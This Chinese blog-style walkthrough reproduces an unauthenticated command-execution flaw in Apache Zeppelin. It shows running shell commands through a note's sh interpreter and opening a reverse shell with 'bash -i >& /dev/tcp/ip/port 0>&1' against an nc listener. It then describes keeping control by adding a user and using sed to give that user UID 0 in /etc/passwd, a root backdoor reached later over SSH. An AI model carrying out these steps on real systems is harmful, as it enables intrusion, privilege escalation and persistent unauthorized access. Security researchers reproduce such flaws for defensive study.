天天看点

zeppelin 未授权任意命令执行漏洞复现

作者:网络安全菜鸟

zeppelin 未授权任意命令执行漏洞复现

#zeppelin 未授权任意命令执行漏洞复现

#一、命令执行复现

  1. 访问http://ip:8080,打开zeppelin页面,(zeppelin默认监听端口在8080)
zeppelin 未授权任意命令执行漏洞复现
  1. 点击Notebook->create new note创建新笔记
zeppelin 未授权任意命令执行漏洞复现
  1. 在创建笔记的时候选择Default Interpreter为sh,即可执行sh命令
  2. 如下图,在命令窗口输入命令,按 shift+Enter 或点击右侧的执行按钮,即可执行sh命令

#二、反弹shell

  1. 不管是用哪种反弹shell的方式,都要在用于接受反弹shell的机器上开启端口监听,注意目标要能主动和接受的机器建立连接(即在同一网段或监听的端口处于公网),这里使用nc监听2333端口,命令为 nc -lvvp 2333,如图所示,开启了监听
  2. 利用sh反弹shell 命令为:
  3. bash -i >& /dev/tcp/ip/port 0>&1
  4. 重新开启监听,利用python反弹shell(内存不够会失败,折磨我两个小时才找到原因,太菜了太菜了)
  5. 在创建新笔记的时候选择python
  6. 这里不需要使用python -c来执行python命令,直接像写python脚本一样就行
  7. 成功拿到了反弹的shell,但是python弹回来的并不是一个真的shell,类似于passwd这种需要交互的命令执行不了,而sh弹回来的一般不会有这种问题

#三、拿下控制权

我们使用sh弹回来的shell进行下一步操作,创建一个特权用户,拿下对目标的持续控制,因为弹回来的是root权限,所以我们可以很方便的操作,但如果是普通用户,我们可以尝试是否拥有sudo权限,如果没有那就得另觅它法了

  1. 创建用户并更改用户密码,命令为
useradd abc
passwd abc # 根据提示重复输入两次密码(高版本系统可能会要求足够复杂的密码)
           
zeppelin 未授权任意命令执行漏洞复现
  1. 利用 /etc/passwd 文件提升用户的权限
  2. 查看 /etc/passwd,主要注意root和abc两个用户,其中root用户中间的两个数字为 0:0,第一个0(UID)代表root用户,第二个0(GID)代表root组,abc用户的为 1000:1000,同样的,分别代表abc用户和abc组
zeppelin 未授权任意命令执行漏洞复现

所以我们只要将abc中间的两个数字改为 0:0,就能成功把abc提权为root用户

由于没装vi、vim这种编辑器,所以我们需要利用sed命令去修改文件

sed -i '$cabc:x:0:0:root:/root:/bin/bash' /etc/passwd
# -i  参数代表直接对文件操作
# $ 代表文件的最后一行
# c 是 替换,后面为要替换的内容
           

测试用户权限,su abc切换到abc用户,执行whoami,发现我们依旧是root用户

zeppelin 未授权任意命令执行漏洞复现

之后我们就可以通过ssh随时连接目录机器

继续阅读